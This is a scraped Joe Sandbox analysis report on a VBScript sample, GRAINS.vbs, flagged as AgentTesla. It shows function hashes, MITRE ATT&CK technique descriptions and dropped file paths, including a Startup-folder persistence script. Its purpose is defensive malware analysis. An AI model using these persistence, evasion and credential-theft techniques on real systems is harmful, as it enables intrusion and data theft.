Opcode Fuzzy Hash: 32c2ab855171bda8fa322eef5d773cae8b0fce5a9a7ff3b92738b7670d601a91
Instruction Fuzzy Hash: 2AE08C70D1820CEFC794EFA8C8416ACBBF8EB08210F6080E9D808D3341EA319E42EB40

Function 09B4D898 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1753845385.0000000009B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_9b40000_Xml.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b414418e751581fabc92a2b87d331e9aee8eb07b31dfedfbe916f242ba3b00
Instruction ID: 7e5efc306789476d14388926a6c556626824580a4cc5eb202cab8b4e84dc9ba7
Opcode Fuzzy Hash: 87b414418e751581fabc92a2b87d331e9aee8eb07b31dfedfbe916f242ba3b00
Instruction Fuzzy Hash: C8E0C274D08208EBC714DF94D44167CBBB8EB85310F1081DCE80823381CB316E42EF81

Function 09B4C328 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1753845385.0000000009B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_9b40000_Xml.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b414418e751581fabc92a2b87d331e9aee8eb07b31dfedfbe916f242ba3b00
Instruction ID: 09d156ceb797199b25e289b2234f52a6f51b2c1db6a9d2917784b40287868953
Opcode Fuzzy Hash: 87b414418e751581fabc92a2b87d331e9aee8eb07b31dfedfbe916f242ba3b00
Instruction Fuzzy Hash: 78E08C74909208EBC714DF98D4425ACBBB8EB45310F1080D8980823341CA325E42EF84

Function 09B4B368 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1753845385.0000000009B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_9b40000_Xml.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b414418e751581fabc92a2b87d331e9aee8eb07b31dfedfbe916f242ba3b00
Instruction ID: f29772251edcef7b1658cba2c41e473e98623701ecc8dd775e0c32b1d5b4ea9f
Opcode Fuzzy Hash: 87b414418e751581fabc92a2b87d331e9aee8eb07b31dfedfbe916f242ba3b00
Instruction Fuzzy Hash: 1CE0127490C218EBCB14DF95D94156DBBB9EB45314F5081DDD80917341CA719E46EF81

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GRAINS.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2dljac4g.qgj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tqwlt5j.ehv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_anavwtxy.iac.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rmzk02se.g0z.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs

C:\Users\user\AppData\Roaming\Xml.vbs

C:\Users\user\AppData\Roaming\Xml.vbs.exe

C:\Users\user\AppData\Roaming\Xml.vbs:Zone.Identifier

C:\Users\user\Desktop\GRAINS.vbs.exe

Windows Analysis Report
GRAINS.vbs

Function 0A451BEA Relevance: 3.9, Strings: 3, Instructions: 108
COMMON

Function 0A3B0040 Relevance: 3.8, Strings: 2, Instructions: 1335
COMMON

Function 0A451740 Relevance: 2.6, Strings: 2, Instructions: 111
COMMON

Function 0A451CA2 Relevance: 2.6, Strings: 2, Instructions: 110
COMMON

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre